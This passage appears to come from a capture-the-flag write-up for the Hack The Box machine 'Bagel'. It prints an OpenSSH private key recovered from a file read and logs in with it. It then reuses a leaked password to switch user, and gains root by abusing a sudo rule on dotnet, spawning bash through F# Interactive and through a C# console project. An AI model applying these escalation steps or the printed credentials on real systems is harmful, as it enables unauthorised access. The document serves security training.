"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
SSH
A quick way to reform a key like this with \n
in it is with jq
:
oxdf@hacky$ export KEY='"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2\ns8SIkkk0KmIYED3c7aSC8C74FmvSDxTtN
Od3T/iePRZOBf5CW3gZapHh+mNOrSZk13F28N\ndZiev5vBubKayIfcG8QpkIPbfqwXhKR+qCsfqS//bAMtyHkNn3n9cg7ZrhufiYCkg9jBjO\nZL4+rw4UyWsONsTdvil6tlc41PXyETJat6dTHSHTKz+S7lL4wR/I+saVvj8KgoYtDCE1sV\nVftUZhkFImSL2ApxIv7tYmeJbombYff1SqjHAkdX9VKA0gM0zS7but3/klYq6g3l+NEZOC\nM0/I+30oaBoXCjvup
MswiY/oV9UF7HNruDdo06hEu0ymAoGninXaph+ozjdY17PxNtqFfT\neYBgBoiRW7hnY3cZpv3dLqzQiEqHlsnx2ha/A8UhvLqYA6PfruLEMxJVoDpmvvn9yFWxU1\nYvkqYaIdirOtX/h25gvfTNvlzxuwNczjS7gGP4XDAAAFgA50jZ4OdI2eAAAAB3NzaC1yc2\nEAAAGBALoSHA+yoljDfHjJZoXSiw3JZ59G10objIwWKS+anYcPJtUXt1HftrPEiJJJNCpi\nG
BA93O2kgvAu+BZr0g8U7TTnd0/4nj0WTgX+Qlt4GWqR4fpjTq0mZNdxdvDXWYnr+bwbmy\nmsiH3BvEKZCD236sF4SkfqgrH6kv/2wDLch5DZ95/XIO2a4bn4mApIPYwYzmS+Pq8OFMlr\nDjbE3b4perZXONT18hEyWrenUx0h0ys/ku5S+MEfyPrGlb4/CoKGLQwhNbFVX7VGYZBSJk\ni9gKcSL+7WJniW6Jm2H39UqoxwJHV/VSgNIDNM0u27rd/5JWKuoN5fjRG
TgjNPyPt9KGga\nFwo77qTLMImP6FfVBexza7g3aNOoRLtMpgKBp4p12qYfqM43WNez8TbahX03mAYAaIkVu4\nZ2N3Gab93S6s0IhKh5bJ8doWvwPFIby6mAOj367ixDMSVaA6Zr75/chVsVNWL5KmGiHYqz\nrV/4duYL30zb5c8bsDXM40u4Bj+FwwAAAAMBAAEAAAGABzEAtDbmTvinykHgKgKfg6OuUx\nU+DL5C1WuA/QAWuz44maOmOmCjdZA1M+vmzbzU+NR
MZtYJhlsNzAQLN2dKuIw56+xnnBrx\nzFMSTw5IBcPoEFWxzvaqs4OFD/QGM0CBDKY1WYLpXGyfXv/ZkXmpLLbsHAgpD2ZV6ovwy9\n1L971xdGaLx3e3VBtb5q3VXyFs4UF4N71kXmuoBzG6OImluf+vI/tgCXv38uXhcK66odgQ\nPn6CTk0VsD5oLVUYjfZ0ipmfIb1rCXL410V7H1DNeUJeg4hFjzxQnRUiWb2Wmwjx5efeOR\nO1eDvHML3/X4WivARfd7XMZZy
fB3JNJbynVRZPr/DEJ/owKRDSjbzem81TiO4Zh06OiiqS\n+itCwDdFq4RvAF+YlK9Mmit3/QbMVTsL7GodRAvRzsf1dFB+Ot+tNMU73Uy1hzIi06J57P\nWRATokDV/Ta7gYeuGJfjdb5cu61oTKbXdUV9WtyBhk1IjJ9l0Bit/mQyTRmJ5KH+CtAAAA\nwFpnmvzlvR+gubfmAhybWapfAn5+3yTDjcLSMdYmTcjoBOgC4lsgGYGd7GsuIMgowwrGDJ\nvE1yAS1vC
est9D51grY4uLtjJ65KQ249fwbsOMJKZ8xppWE3jPxBWmHHUok8VXx2jL0B6n\nxQWmaLh5egc0gyZQhOmhO/5g/WwzTpLcfD093V6eMevWDCirXrsQqyIenEA1WN1Dcn+V7r\nDyLjljQtfPG6wXinfmb18qP3e9NT9MR8SKgl/sRiEf8f19CAAAAMEA/8ZJy69MY0fvLDHT\nWhI0LFnIVoBab3r3Ys5o4RzacsHPvVeUuwJwqCT/IpIp7pVxWwS5mXiFFVtiwjeHq
psNZK\nEU1QTQZ5ydok7yi57xYLxsprUcrH1a4/x4KjD1Y9ijCM24DknenyjrB0l2DsKbBBUT42Rb\nzHYDsq2CatGezy1fx4EGFoBQ5nEl7LNcdGBhqnssQsmtB/Bsx94LCZQcsIBkIHXB8fraNm\niOExHKnkuSVqEBwWi5A2UPft+avpJfAAAAwQC6PBf90h7mG/zECXFPQVIPj1uKrwRb6V9g\nGDCXgqXxMqTaZd348xEnKLkUnOrFbk3RzDBcw49GXaQlPPSM4
z05AMJzixi0xO25XO/Zp2\niH8ESvo55GCvDQXTH6if7dSVHtmf5MSbM5YqlXw2BlL/yqT+DmBsuADQYU19aO9LWUIhJj\neHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----"'
oxdf@hacky$ echo $KEY | jq -r . | tee ~/keys/bagel-phil
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2
s8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/iePRZOBf5CW3gZapHh+mNOrSZk13F28N
...[snip]...
eHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----
It works:
oxdf@hacky$ ssh -i ~/keys/bagel-phil phil@bagel.htb
Last login: Wed May 31 16:26:35 2023 from 10.10.14.6
[phil@bagel ~]$
And I can get user.txt
:
[phil@bagel ~]$ cat user.txt
3e84c3ef************************
Shell as developer
Enumeration
There’s not much to see as phil. Their home directory is relatively empty:
[phil@bagel ~]$ ls -la
total 24
drwx------. 4 phil phil 4096 Jan 20 14:14 .
drwxr-xr-x. 4 root root 35 Aug 9 2022 ..
lrwxrwxrwx. 1 root root 9 Jan 20 17:59 .bash_history -> /dev/null
-rw-r--r--. 1 phil phil 18 Jan 20 2022 .bash_logout
-rw-r--r--. 1 phil phil 141 Jan 20 2022 .bash_profile
-rw-r--r--. 1 phil phil 492 Jan 20 2022 .bashrc
drwxrwxr-x. 3 phil phil 4096 Oct 22 2022 .dotnet
drwx------. 2 phil phil 61 Oct 23 2022 .ssh
-rw-r-----. 1 root phil 33 May 30 22:08 user.txt
There’s one other user, developer, but phil can’t access their home directory:
[phil@bagel ~]$ ls /home
developer phil
[phil@bagel ~]$ cd /home/developer/
-bash: cd: /home/developer/: Permission denied
The project for the Dotnet application is in /opt/bagel
:
[phil@bagel bagel]$ ls
bagel.csproj bin obj orders Program.cs
There’s no source in this directory - it seems to have been removed.
su
I do have the password of “k8wdAYYKyhnjg3K” for the dev user to the future MySQL instance from the DLL. It works for developer:
[phil@bagel bagel]$ su - developer
Password:
[developer@bagel ~]$
Shell as root
Enumeration
The developer user can run dotnet
as root with sudo
:
[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
Execution via dotnet
Help Menu
Running dotnet -h
returns a long help menu:
[developer@bagel ~]$ dotnet -h
.NET SDK (6.0.113)
Usage: dotnet [runtime-options] [path-to-application] [arguments]
Execute a .NET application.
runtime-options:
--additionalprobingpath <path> Path containing probing policy and assemblies to probe for.
--additional-deps <path> Path to additional deps.json file.
--depsfile Path to <application>.deps.json file.
--fx-version <version> Version of the installed Shared Framework to use to run the application.
--roll-forward <setting> Roll forward to framework version (LatestPatch, Minor, LatestMinor, Major, LatestMajor, Disable).
--runtimeconfig Path to <application>.runtimeconfig.json file.
path-to-application:
The path to an application .dll file to execute.
Usage: dotnet [sdk-options] [command] [command-options] [arguments]
Execute a .NET SDK command.
sdk-options:
-d|--diagnostics Enable diagnostic output.
-h|--help Show command line help.
--info Display .NET information.
--list-runtimes Display the installed runtimes.
--list-sdks Display the installed SDKs.
--version Display .NET SDK version in use.
SDK commands:
add Add a package or reference to a .NET project.
build Build a .NET project.
build-server Interact with servers started by a build.
clean Clean build outputs of a .NET project.
format Apply style preferences to a project or solution.
help Show command line help.
list List project references of a .NET project.
msbuild Run Microsoft Build Engine (MSBuild) commands.
new Create a new .NET project or file.
nuget Provides additional NuGet commands.
pack Create a NuGet package.
publish Publish a .NET project for deployment.
remove Remove a package or reference from a .NET project.
restore Restore dependencies specified in a .NET project.
run Build and run a .NET project output.
sdk Manage .NET SDK installation.
sln Modify Visual Studio solution files.
store Store the specified assemblies in the runtime package store.
test Run unit tests using the test runner specified in a .NET project.
tool Install or manage tools that extend the .NET experience.
vstest Run Microsoft Test Engine (VSTest) commands.
workload Manage optional workloads.
Additional commands from bundled tools:
dev-certs Create and manage development certificates.
fsi Start F# Interactive / execute F# scripts.
sql-cache SQL Server cache command-line tools.
user-secrets Manage development user secrets.
watch Start a file watcher that runs a command when files change.
Run 'dotnet [command] --help' for more information on a command.
There’s a lot possible here, and several ways to exploit this.
F# Execution
In scrolling through these, fsi
jumps out as an interesting command - “Start F# Interactive / execute F# script”.
A simple F# script to get a shell is System.Diagnostics.Process.Start("id").WaitForExit();
This will run whatever shell command it’s given:
[developer@bagel ~]$ sudo dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> System.Diagnostics.Process.Start("id").WaitForExit();;
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
val it: unit = ()
For whatever reason, F# needs ;;
to end this line.
I can do the same thing and invoke bash
:
> System.Diagnostics.Process.Start("bash").WaitForExit();;
[root@bagel developer]#
From there, grab the flag:
[root@bagel developer]# cd /root/
[root@bagel ~]# cat root.txt
7ca14c4d************************
Execution via New Project
For fun, I’ll show how to create a fill C# application instead of running it from the F# terminal. I’ll create a directory, /dev/shm/exploit
, and go into it. From there, I’ll create a new project with dotnet
:
[developer@bagel exploit]$ dotnet new console
The template "Console App" was created successfully.
Processing post-creation actions...
Running 'dotnet restore' on /dev/shm/exploit/exploit.csproj...
Determining projects to restore...
Restored /dev/shm/exploit/exploit.csproj (in 163 ms).
Restore succeeded.
[developer@bagel exploit]$ ls
exploit.csproj obj Program.cs
This creates a .csproj
file, a starter Program.cs
, and an obj
directory. The source is a simple Hello World:
// See https://aka.ms/new-console-template for more information
Console.WriteLine("Hello, World!");
It runs:
[developer@bagel exploit]$ dotnet run
Hello, World!
I’ll update Program.cs
to invoke a shell just as I did above:
Console.WriteLine("Going into shell...");
System.Diagnostics.Process.Start("bash").WaitForExit();
Console.WriteLine("Left shell, exiting!");
It works:
[developer@bagel exploit]$ sudo dotnet run
Going into shell...
[root@bagel exploit]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bagel exploit]# cat /root/root.txt
7ca14c4d************************
[root@bagel exploit]# exit
exit
Left shell, exiting!